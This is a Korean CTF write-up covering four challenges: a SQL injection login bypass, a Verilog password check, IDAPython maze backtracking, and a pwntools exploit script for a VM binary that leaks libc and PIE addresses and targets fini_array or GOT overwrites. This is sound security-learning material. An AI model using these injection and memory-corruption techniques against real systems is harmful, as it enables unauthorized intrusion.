difficulty: ๐ฉธ๐ฉธ
rank: 11
writeup: rev(3)/pwn(1)
์์ด๋ก ๊ฐ์ง๋๊ฒ ์ ์ด์ blog.snwo.fun ์ ์ฌ๋ฆฌ๋ ค ํ๋๋ฐ,
๊ทธ๋ฅ ๊ท์ฐฎ์์ ๋กธ์ ๋ช๊ฐ ์ ์ด๋ณธ๋ค
Glade ๋ idapython ๋ง๊ณ Qiling ์ด๋ผ๋ analyze framework ๋ก๋ ํ ์ ์๋๋ฐ ์ ๊ธฐํ๋๊น ๋์ค์ ๊ณต๋ถํด๋ด์ผ์ง
Eulers License ( ๐ฉธ 200 pt, 41 solve )
TL;DR : simple sqli, guessing prime
ํ์์ ์คํฌ๋ฆฝํธ ํ๋ ์ฃผ์ด์ง๋๋ฐ,
์ด์ด๋ณด๋ฉด ์๋ถ๋ถ์ ์ ์คํฌ๋ฆฝํธ๊ณ , ์๋ซ์ชฝ์ ํ์์ ์คํฌ๋ฆฝํธ๋ก ๋๋ ์ ธ ์๋ค.
shell script : data ๋ฅผ base64 ๋์ฝ๋ฉ ํ ํ, /tmp/(random filename) ์ ํ์ด์ฌํ์ผ์ ๋ง๋ ๋ค.
powershell script : data ๋ฅผ base64 ๋์ฝ๋ฉ ํ ํ, $env:TEMP\(random filename) ์ exe ํ์ผ์ ๋ง๋ ๋ค.
python file
@app.route("/license_check")
def licenseCheck():
con = sqlite3.connect("file:ctf.db?mode=ro")
cur = con.cursor()
try:
lice = request.args.get("license_key")
query = "SELECT * FROM license_keys WHERE license_key = '" + lice + "';"
cur.execute(query)
res = cur.fetchall()
cur.close()
con.close()
except Exception as e:
cur.close()
con.close()
return str(e), 500
return str(res)
๋ฌธ์ ์๋ฒ๊ฐ ์๋๋ฐ, /license_check ์ ์ ์ํด์ ' or 1=1 --
์
๋ ฅํ๋ฉด ํ๋๊ทธ ๋ท์๋ฆฌ๋ฅผ ์ค๋ค.
_python_is_easy_to_reverse}
binary file
BOOL __cdecl sub_401080(char *Str)
{
size_t v2; // eax
char v3[4]; // [esp+0h] [ebp-8h] BYREF
int i; // [esp+4h] [ebp-4h]
if ( strlen(Str) != 10 )
return 0;
sub_401400(Str, Format, (char)v3);
for ( i = 2; i < *(int *)v3; ++i )
{
if ( !(*(_DWORD *)v3 % i) )
return 0;
}
v2 = strlen(::Str);
return !strncmp(Str, Str2, v2) && sub_401000(Str, a47);
}
exe ํ์ผ์ ์คํํ๋ฉด, ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ๋๋ฐ,
10์๋ฆฌ๋ก ์๋ผ์ ์ ์ํ ํ ๋ค, ์ ํจ์์ ๋ฆฌํด๊ฐ์ด True ์ด๋ฉด, ํน์ ๋ฐ์ดํฐ์ xor ํด์ ์ถ๋ ฅํด์ค๋ค.
์กฐ๊ฑด : 21 ์ผ๋ก ์์ํด์, 47 ๋ก ๋๋๋ 10์๋ฆฌ ์์
์ฝ๋๋ฅผ ๋๋ ค๋ณด๋๊น ๊ฒฝ์ฐ์ ์๊ฐ ๋๋ฌด๋ง๋ค..
๊ทผ๋ฐ ๋ญ๊ฐ ์ต์ํ ์ซ์๋ผ์ int ์ต๋๊ฐ ์ ์ ๋ ฅํด ๋ดค๋๋ flag๊ฐ ๋ง์๋ค.
โฏ ./binary
Enter eulers license key: 2147483647
dctf{2147483647
Failed to contact euler.dragonsec.si for license confirmation...
flag : dctf{2147483647_python_is_easy_to_reverse}
ShittyTPM ( ๐ฉธ 300 pt, 11 solve )
TL;DR : Verilog lang
binary
std::cout << "Enter Password: " << std::endl;
std::string line;
std::getline(std::cin, line);
if(line.length() < 8)
{
std::cout << "Input too short" << std::endl;
return 0;
}
// This is just pseudocode, for security
// Kerckhoffs law is stupid anyway
tpm = new EasyTPM;
tpm->reset();
for(int i = 0; i < 8; i++)
{
tpm->sendChar(line[i]); // This sends one character to the TPM
}
if(tpm->lock == 1)
{
std::cout << "Good job, you got it!" << std::endl;
std::cout << "DUMMY_FLAG" << std::endl;
}
else
{
std::cout << "The vault is closed, try harder next time" << std::endl;
}
์๋ฒ์์ ๋์๊ฐ๋ ๋ฐ์ด๋๋ฆฌ ์์ค์ฝ๋์ด๋ค.
8๊ธ์ ์
๋ ฅํด์ sendChar
์ผ๋ก ์
๋ ฅ๊ฐ์ ๋ณด๋ธ ๋ค, lock
๋ณ์๊ฐ 1์ด๋ฉด ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํด์ค๋ค.
์ด EasyTPM ์ด๋๊ฒ ๋ญ์ง ๋ชจ๋ฅด ์ ๋ชจ๋ฅด๊ฒ ์ง๋ง, verilog ์ธ์ด๋ก ๋ง๋ค์ด์ง ๋ฐ์ด๋๋ฆฌ ๊ฐ๋ค.
tpm.v ์ ์ ๋ ฅ๊ฐ ์ฒดํฌํ๋ ๋ฃจํด์ด ์๋ค.
tpm.v
`timescale 1ns / 1ps
module TPM(clk, rst, data, lock);
input clk;
input rst;
input [7:0] data;
output lock;
reg [55:0] state;
initial state = 56'd0;
integer counter;
initial counter = 0;
assign lock = out == desired_value;
wire [55:0] key = 56'hdc35849333c6a8;
wire [55:0] out = rearranged ^ key;
wire [55:0] desired_value = 56'h781494ac201977;
always @(posedge clk) begin
if (rst == 1'b1) begin
state <= 56'b0;
counter <= 0;
end
else begin
if(counter < 8) begin
state[(7 * counter)+: 7] <= data[6:0];
counter <= counter + 1;
end
end
end
wire [55:0] rearranged;
assign rearranged = {
state[21:13],
state[40:32],
state[52:50],
state[25:22],
state[42:41],
state[55:53],
state[4:0],
state[31:26],
state[49:43],
state[12:5]
};
endmodule
์ด๋ฐ ์์ค์ด๋ค. ์ ๋ ฅ๊ฐ์ 7๋นํธ์ฉ state ์ ๋ค์ด๊ฐ๊ณ ,
rearranged state ^ key == desired_value
์ ์กฐ๊ฑด์ ๋ง์กฑํด์ผํ๋ค.
๊ทธ๋ ๊ฐ๋ฉด, key ^ desired_value
๋ฅผ ์ฌ๋ฐฐ์น ํ๊ธฐ๋ง ํ๋ฉด ๋๋ค.
verilog ๋ฌธ์๋ฅผ ์ฝ์ด๋ณธ ํ, google ctf ์์ ๊ด๋ จ ๋กธ์ ์ ์ฝ์ด๋ดค๋ค.
๋นํธ ์์๋ง ์ ์๋ฉด ์ฝ๊ฒ ์ฌ๋ฐฐ์นํด์ ์ฌ๋ฐ๋ฅธ ์ ๋ ฅ๊ฐ์ ์ฐพ์ ์ ์๋ค.
else begin
if(counter < 8) begin
state[(7 * counter)+: 7] <= data[6:0];
counter <= counter + 1;
end
end
end
state[(7 * counter)+: 7] <= data[6:0]
์ผ๋จ ์ด ๋ถ๋ถ์์, state[0:7], state[7:14] ์ด๋ฐ์์ผ๋ก state ์ ์ธ๋ฑ์ค๊ฐ ์ฐธ์กฐ๋๊ณ , data[6:0] ๊ฐ ๋ค์ด๊ฐ๋๋ฐ, ์ฐธ์กฐ ์์๊ฐ ๋ฌ๋ผ ๋นํธ๊ฐ ๊ฑฐ๊พธ๋ก ๋ค์ด๊ฐ๋ค. ์ด์ ์ ์
data[6:0] → ํ์ด์ฌ์์ data[0:7] ์ผ๋ก ์ดํดํ๋ฉด ๋๊ฒ ๋ค.
assign rearranged = {
state[21:13],
state[40:32],
state[52:50],
state[25:22],
state[42:41],
state[55:53],
state[4:0],
state[31:26],
state[49:43],
state[12:5]
};
xor ๋ ๊ฐ์, 2์ง์๋ก ๋ฐ๊พผ ๋ค 8, 9, 3, 4 .. ์ด๋ ๊ฒ ์๋ฅธ ๋ค์ ์๋ ์๋ฆฌ๋ก ๋ฃ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ ฌํ ๋ฐฐ์ด์ ์ญ์์ผ๋ก ๋๋ฆฌ๊ณ ,
7๋นํธ์ฉ ์๋ผ์ ๋ฌธ์ํ ํ ๋ค ๋ค์ ๋๋ฆฌ๋ฉด ์ฌ๋ฐ๋ฅธ ๋น๋ฐ๋ฒํธ๊ฐ ๋์จ๋ค.
solve.py
key=0xdc35849333c6a8
out=0x781494ac201977
flag=key^out
d=format(flag,'b')
ar=[
d[:9],
d[9:18],
d[18:21],
d[21:25],
d[25:27],
d[27:30],
d[30:35],
d[35:41],
d[41:48],
d[48:56]
]
rev=[2,5,8,3,6,9,0,4,7,1]
table={}
for i,j in enumerate(rev):
table[i]=j
rev_ar=[0]*10
for k in table:
rev_ar[table[k]]=ar[k]
rev_ar=rev_ar[::-1]
b=format(int(''.join(rev_ar),2),'056b')
f=''
for i in range(0,len(b),7):
f+=chr(int(b[i:i+7],2))
print(f[::-1])
Glade ( ๐ฉธ๐ฉธ 400 pt, 11 solve )
TL;DR : IDA Python, backtracking
https://blog.ugonfor.kr/148?category=833395
midnightsun CTF 2021 ์ labyrevnt ๋ฌธ์ ๋ ๋น์ทํ๋ค.
main ์์ ์ต๋ 100์ง๋ฆฌ ๋ฌธ์์ด์ ์ ๋ ฅ๋ฐ๊ณ , ์ฒซ ๋ฒ์งธ ํจ์๋ฅผ ํธ์ถํ๋ค.
__int64 __fastcall sub_113F(__int64 func, char *input, __int64 something)
{
char v5; // [rsp+2Bh] [rbp-15h]
int v6; // [rsp+2Ch] [rbp-14h]
int v7; // [rsp+30h] [rbp-10h]
sub_112A(sub_113F, func, something, 30LL);
v5 = *input;
v6 = 0;
v7 = 0;
if ( *input == 'U' )
{
v6 = -1;
}
else
{
switch ( v5 )
{
case 'R':
v7 = 1;
break;
case 'D':
v6 = 1;
break;
case 'L':
v7 = -1;
break;
}
}
return ((sub_113F + 30 * something * v6 + something * v7))(sub_113F, input + 1, something);
}
์ด๋ ๊ฒ ์๊ธด ํจ์๊ฐ 0x113f ๋ถํฐ 0x314F7 ๊น์ง ์๋๋ฐ,
์ฌ๊ธฐ์ ์ฒ์์ผ๋ก ํธ์ถํ๋ ํจ์๊ฐ ๊ฒ์ฆํจ์๋ก, ์ด ํจ์๋ฅผ ํธ์ถํ์ ๋
์ด์ ๋ฌธ์๋ฅผ ๊ฒ์ฆํ๋ค
๊ฒ์ฆํจ์๋ก left_right
์ ์ฌ์ฉํ๋ค ํ์ ๋, ์ด ํจ์๋ฅผ L ๋๋ R ๋ก ํธ์ถํด์ผํ๋ค๋ ๊ฒ์ ๋งํ๋ค.
์๊ทธ๋ฌ๋ฉด exit ํจ์๋ก ์ข ๋ฃ
์ฒซ ํจ์์์๋ ๋ชจ๋ ๊ฒ ํ์ฉ๋๋ค. ๊ทผ๋ฐ L ๋๋ U ์ ๋ ฅํ๋ฉด OOB ๊ฐ ํฐ์ง๋๋ค.
๊ฒ์ฆํจ์๋ ์์ ๊ฐ๋ค. D ๋ง ๋๋ ๊ฒ๋ ์๊ณ , D L ๋ง ๋๋ ๊ฒ.. ์ด๋ฐ์์ผ๋ก
๋ฌธ์๋ฅผ ํ๋์ฉ ๊ฐ์ ธ์ U, D, R, L ๋ง๋ค ํธ์ถํ๋ ๋ค์ ํจ์๊ฐ ๋ค๋ฅด๋ค.
U -> ํ์ฌํจ์ + 30 * -1 * 220
D -> ํ์ฌํจ์ + 30 * 1 * 220
R -> ํ์ฌํจ์ + 220 * 1
L -> ํ์ฌ ํจ์ + 220 - 1
๋ค์ ํจ์๋ฅผ 2์ฐจ์ ๋ฐฐ์ด์ฒ๋ผ ์ ๊ทผํ๋ค.
์ด ํจ์๋ค ์ฌ์ด์ offset ์ ๊ณ์ฐํด ๋ณด๋, ๋ชจ๋ 220 ์ผ๋ก ๋์ผํ๋ค.
๋์ถฉ ์ด๋ ๊ฒ 2์ฐจ์ ๋ฐฐ์ด์์ ํจ์๋ค์ด ์๋ค๊ณ ์๊ฐํด๋ณด์.
ํ์ฌ ์์น์์ ๋์๋จ๋ถ์ ํด๋นํ๋ ํจ์๋ค์ ๋ํด OOB ์ฒดํฌ๋ฅผ ํ ๋ค, ๊ฒ์ฆํจ์๋ฅผ ๋ถ๋ฌ์จ๋ค.
ํด๋น ๋ฐฉํฅ ํจ์์ ๊ฒ์ฆํจ์๋ฅผ ํต๊ณผํ ์ ์์ ๋, ํ์ฌ ์ด๋๋ฐฉํฅ์ ff ๋ฐฐ์ด์ ๋ฃ๊ณ
์ฌ๊ทํธ์ถํ๋ค. (๋ฐฑํธ๋ ํน ์๊ณ ๋ฆฌ์ฆ ์ฌ์ฉ)
print("="*0x30)
start=0x113F
end=get_name_ea_simple("cat_flag")
#U D R L
rev={
"U":"D",
"D":"U",
"R":"L",
"L":"R"
}
x={
"U":-1,
"D":1,
"R":0,
"L":0
}
y={
"U":0,
"D":0,
"R":1,
"L":-1
}
ff=[""]*1000
chks={
0x112a:["D","R"],
get_name_ea_simple("down"):["D"],
get_name_ea_simple("left"):["L"],
get_name_ea_simple("right"):["R"],
get_name_ea_simple("up"):["U"],
get_name_ea_simple("down_left"):["D","L"],
get_name_ea_simple("down_up"):["D","U"],
get_name_ea_simple("left_up"):["L","U"],
get_name_ea_simple("down_right"):["D","R"],
get_name_ea_simple("left_right"):["L","R"],
get_name_ea_simple("up_right"):["U","R"],
get_name_ea_simple("no_right"):["U","D","L"],
get_name_ea_simple("no_left"):["U","D","R"],
get_name_ea_simple("no_down"):["U","L","R"],
get_name_ea_simple("no_up"):["D","L","R"],
get_name_ea_simple("fine"):["D","L","R","U"],
}
def get_chk_func(addr):
chk=-1
f=ida_funcs.get_func(addr)
if f==None:
return chk
for ea in Heads(f.start_ea,f.end_ea):
if print_insn_mnem(ea)=="call":
chk=get_operand_value(ea,0)
break
return chk
def OOB(addr):
n_func=ida_funcs.get_func(addr)
try:
if addr - 0x113F >=0 and\
addr-0x113f <=end and\
(addr-0x113f)%220 ==0:
return 1
except:
return 0
return 0
def back(idx,addr,prev):
# if idx==101:
# return
if addr == end:
print(f"yaho {''.join(ff)}")
return
for d in ['U','R','D','L']:
if prev == rev[d]: # ๋ฐฉ๊ธ ์๋ ๊ณณ์ผ๋ก ๋์๊ฐ์ง ์๊ฒ
continue
next = addr+30*x[d]*220+y[d]*220
chk=get_chk_func(next)
if OOB(next)!=0 and chk in chks.keys():
#print(f"{idx} : {prev} -> {d} -> {chks[chk]} {hex(next)}")
if d in chks[chk]:
ff[idx]=d
back(idx+1,next,d)
ff[idx]=''
back(0,start,'')
์ด๊ฑธ๋ก๋ ํ๋ฆฌ๊ณ , ์ด๋ ๊ฒ ํ๋ฉด ๊ฒฝ์ฐ์ ์๊ฐ ๋๋ฌด ๋ง์ ๊ฒ ๊ฐ์์ cat_flag ํจ์๋ถํฐ start ํจ์๊น์ง ์ญ์ผ๋ก ๊ฒฝ๋ก๋ฅผ ์ฐพ๋ ๋ฐฑํธ๋ ํน ์๊ณ ๋ฆฌ์ฆ์ผ๋ก ํ์๋ค.
solve.py
print("="*0x30) # ์ถ๋ ฅ ๊ตฌ๋ถ
start=0x113F
end=get_name_ea_simple("cat_flag")
#U D R L
rev={
"U":"D",
"D":"U",
"R":"L",
"L":"R"
}
x={
"U":-1,
"D":1,
"R":0,
"L":0
}
y={
"U":0,
"D":0,
"R":1,
"L":-1
}
ff=[""]*101
chks={
0x112a:["D","R"],
get_name_ea_simple("down"):["D"],
get_name_ea_simple("left"):["L"],
get_name_ea_simple("right"):["R"],
get_name_ea_simple("up"):["U"],
get_name_ea_simple("down_left"):["D","L"],
get_name_ea_simple("down_up"):["D","U"],
get_name_ea_simple("left_up"):["L","U"],
get_name_ea_simple("down_right"):["D","R"],
get_name_ea_simple("left_right"):["L","R"],
get_name_ea_simple("up_right"):["U","R"],
get_name_ea_simple("no_right"):["U","D","L"],
get_name_ea_simple("no_left"):["U","D","R"],
get_name_ea_simple("no_down"):["U","L","R"],
get_name_ea_simple("no_up"):["D","L","R"],
get_name_ea_simple("fine"):["D","L","R","U"],
}
def get_chk_func(addr):
chk=-1
f=ida_funcs.get_func(addr)
for ea in Heads(f.start_ea,f.end_ea):
if print_insn_mnem(ea)=="call":
chk=get_operand_value(ea,0)
break
return chk
def OOB(addr):
n_func=ida_funcs.get_func(addr)
if n_func!=None and n_func.start_ea == addr\
and (addr-0x113f)%220==0:
return 1
return 0
def back(idx,addr,prev):
if idx==100:
return
if addr == start:
print(f"yaho {''.join(ff)[::-1]}")
chk=get_chk_func(addr)
flags=chks[chk][:]
#print(f"{idx} : {flags} {prev}")
for f in flags:
if f == prev:
continue
nxt = addr+30*x[rev[f]]*220+y[rev[f]]*220 # ์ด๋๊ฐ๋ฅ ๋ฐฉํฅ์ ๋ฐ๋๋ก์ด๋
# ์ด๋๊ฐ๋ฅ ๋ฐฉํฅ์ผ๋ก ์ด ํ์ฌ ํจ์์ ๋์ฐฉํ๊ธฐ ๋๋ฌธ
if OOB(nxt):
ff[idx]=f
back(idx+1,nxt,rev[f])
ff[idx]=''
back(0,end,'U') # cat flag ํจ์๋ right ๋ง ํ์ฉ๋๋ฏ๋ก prev right ์ ์ธํ ์๋ฌด๊ฑฐ๋ ๋ฃ์ด์ค
end ํจ์ (cat_flag) ๋ถํฐ ๊ฒ์ฆํจ์์ ํต๊ณผํ๋ ๋ฐฉํฅ์ ์ญ๋ฐฉํฅ์ผ๋ก ์ฌ๊ทํธ์ถํด์ผํ๋ค.
(ex : cat_flag ํจ์๋ R ๋ก ๋ค์ด์์ผ ํ๋ฏ๋ก, L ์ผ๋ก ์ด๋)
vmstation ( ๐ฉธ๐ฉธ๐ฉธ 500pt, 5 solve)
TL;DR : vm, ubuntu 22.04 libc gadget (fini_array)
got ์ ์๋ ์ฃผ์ ์๋ฌด๊ฑฐ๋ ๋ฐฐ์ด์ ๋ก๊ฒจ์์ sha256 ํ์ 4๋ฐ์ดํธ, ์์ 2๋ฐ์ดํธ
๋ชจ๋๋ฌ๋ก ๋๋ ์ ๋ธํฌ. MSB ๊ฐ 1์ด๋ฉด, ๋ชจ๋๋ฌ ์ฐ์ฐ ํ ๋ ์์๋นํธ๊ฐ 1๋ก ์ฑ์์ ธ์
sprintf ํ ๋ %d ๋ฅผ ์ฐ๊ธฐ ๋๋ฌธ์ ์์๊ฐ ๋์จ๋ค.
๊ทธ๋์ ์์๋ฒ์๋ถํฐ 2๋ฐ์ดํธ ๋ธ๋ฃจํธํฌ์คํด์ 0xffff ๋ and ์ฐ์ฐ ํด์ฃผ๋ฉด ๋๋ค.
๊ทธ ๋ฐ์ pie ๋ ์๋๋ฐ ๋ง์ฐฌ๊ฐ์ง๋ก ๊ตฌํ๋ฉด ๋๋ค.
AAW ํ ๋ฒ์ ๊ธฐํ๊ฐ ์์ง๋ง, ubuntu 22.04 ์ฌ์ hook ์ด ๋งํ์ ๋ค๋ฅธ ๊ฐ์ ฏ์ ์ด์ฉํด์ผํ๋ค.
์ ์ญ๋ฐฐ์ด์ ์์ท ๊ฐ์ ฏ์ ์ ๊ณ , libc ์ fini_array ์ ์ ์ญ๋ฐฐ์ด์ ์ฃผ์๋ฅผ ๋ฃ์ผ๋ฉด ๋๋ค.
fini_array ๋ ์ฃผ์ด์ง ๋์ปค๋ฅผ ๋๋ฆฐ๋ค์, process ์ attach ํด์ ์คํ์ ์ ๊ตฌํ๋ฉด ์ ํํ ๊ตฌํ ์ ์๋ค.
๋๋ puts ํจ์์์ libc ๋ด์ strlen@plt ๋ฅผ ํธ์ถํ๋๋ฐ, strlen@got ์ด libc ์์ rw ์์ญ์ ์์ผ๋ฏ๋ก,
์ด๊ฑฐ ๋ฎ์ด๋ ๋๋ค.
from pwn import *
from hashlib import sha256
context.log_level = "debug"
slog=lambda x,y:log.info(":".join([x,hex(y)]))
def crack(h,prev,b,c):
for j in range(-0xffff,0xffff+1):
txt=f"{prev|(j<<c)},{b},"+'0,'*14
# print(txt.encode())
if sha256(txt.encode()).hexdigest().encode()==h:
if j>0:
return j
else:
return j&0xffff
payload = \
b'\x0b\x00\x00\xee'+\
b'\x03\x01'+\
b'\x0f\x00\x00\x01'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xee'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xed'+\
b'\x06'+\
b'\x03\x00\x03\x01'+\
b'\x0b\x00\x00\xf2'+\
b'\x03\x01'+\
b'\x0f\x00\x00\x01'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xf2'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xf3'+\
b'\x06'
f = open("./test","wb")
f.write(payload)
f.close()
r = process(['./vmstation','./test'])
def leak():
cracked=0
r.sendline(str(2**16).encode())
h=r.recvline().strip()
cracked=crack(h,cracked,2**16,0)
r.sendline(str(0).encode())
h=r.recvline().strip()
cracked|=crack(h,cracked,2**16,16)<<16
r.sendline(str(0).encode())
cracked2=0
h=r.recvline().strip()
cracked2=crack(h,cracked2,2**16,0)
return cracked|(cracked2<<32)
libc=leak()
r.sendline(str(0).encode())
r.sendline(str(0).encode())
pie=leak()
slog('libc',libc)
slog('pie',pie)
log.info(str(r.pid))
pause()
r.interactive()
leak ํ๋ ํ์ด๋ก๋๋ง ์์ฑํ๊ณ , ์ต์ค๋ ๋ค๋ฅธํ์์ด ์์ฑํด์ ์์ค๊ฐ ์ ๋น